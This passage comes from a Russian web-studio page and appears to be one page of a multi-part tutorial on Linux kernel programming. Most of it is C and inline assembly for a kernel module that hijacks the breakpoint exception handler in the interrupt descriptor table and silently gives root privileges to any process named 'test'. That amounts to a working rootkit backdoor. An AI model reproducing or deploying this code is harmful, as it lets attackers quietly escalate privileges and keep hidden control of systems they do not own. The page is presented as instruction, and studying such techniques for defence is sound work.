Разработка динамических сайтов
SEO услуги
Управление контекстной рекламой

Вход на хостинг

Имя пользователя:*

Пароль пользователя:*

IT-новости

20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла

Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......

подробнее

30.07.2015 Ищем уникальный контент для сайта

Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......

подробнее

11.05.2015 Распространённые ошибки разработчиков сайтов

Не секрет, что в сети Интернет насчитывается миллионы сайтов, и каждый день появляются тысячси новых......

подробнее

    return((idt[i].off_high << 0x10) | idt[i].off_low);

}

Следующая функция выполняет непосредственно то, ради чего все затевалось – назначает права root процессу test. Эта функция должна быть вызвана перед обработчиком исключения #BP для проверки имени текущего процесса:

asmlinkage void my_handler()

{

    if(strcmp(current->comm, "test") == 0) {

 

        current->uid = 0;

      current->gid = 0;

        current->euid = 0;

        current->egid = 0;

        current->suid = 0;

        current->sgid = 0;

        current->fsuid = 0;

        current->fsgid = 0;

 

        printk(KERN_INFO "%s - EXCEPTION #BP occured! ", current->comm);

    }

 

    return;

}

При совпадении имен текущего процесса и шаблона функция назначает процессу привилегии root.

Осталось рассмотреть, чем мы заменим стандартный обработчик исключения #BP.

Следующая функция содержит в себе определение вызова нового обработчика исключения #BP – my_stub():

void stub()

{

    __asm__ __volatile__ (

    ".globl my_stub            "

    ".align 4, 0x90            "

    "my_stub:           " // новый обработчик!

    "      call *%0     "

    "      jmp *%1             "

    ::"m"(new_handler),"m"(old_handler));

}

Сначала команда call вызвает функцию my_handler, адрес которой находится в переменной new_handler, а после возврата из этой функции команда jmp передает управление по адресу старого обработчика #BP, который сохранен в переменной old_handler.

Все функции, которые мы рассмотрели, будут вызваны во время загрузки модуля ядра:

int init_module()

{

    int i = 3; // номер исключения - Breakpoint (#BP)


Предыдущая страницаОглавлениеСледующая страница
 
[001] [002] [003] [004] [005] [006] [007] [008] [009] [010] [011] [012] [013] [014] [015] [016] [017] [018] [019] [020]
[021] [022] [023] [024] [025] [026] [027] [028] [029] [030] [031] [032] [033] [034] [035] [036] [037] [038] [039] [040]
[041] [042] [043] [044] [045] [046] [047] [048] [049] [050] [051] [052] [053] [054] [055] [056] [057] [058] [059] [060]
[061] [062] [063] [064] [065] [066] [067] [068] [069] [070] [071] [072] [073] [074] [075] [076] [077] [078] [079] [080]
[081] [082] [083] [084] [085] [086] [087] [088] [089] [090] [091] [092] [093] [094] [095] [096] [097] [098] [099] [100]
[101] [102] [103] [104] [105] [106] [107] [108] [109] [110] [111] [112] [113] [114] [115] [116] [117] [118] [119] [120]
[121] [122] [123] [124] [125] [126] [127] [128] [129] [130] [131] [132] [133] [134] [135] [136] [137] [138] [139] [140]
[141] [142] [143] [144] [145] [146] [147] [148] [149] [150] [151] [152] [153] [154] [155] [156] [157] [158] [159] [160]
[161] [162] [163] [164] [165] [166] [167] [168] [169] [170] [171] [172] [173] [174] [175] [176] [177] [178] [179] [180]
[181] [182] [183] [184] [185] [186] [187]

+7 (831) 413-63-27
ООО Дельта-Технология ©2007 - 2023 год
Нижний Новгород, ул. Дальняя, 17А.
Rambler's Top100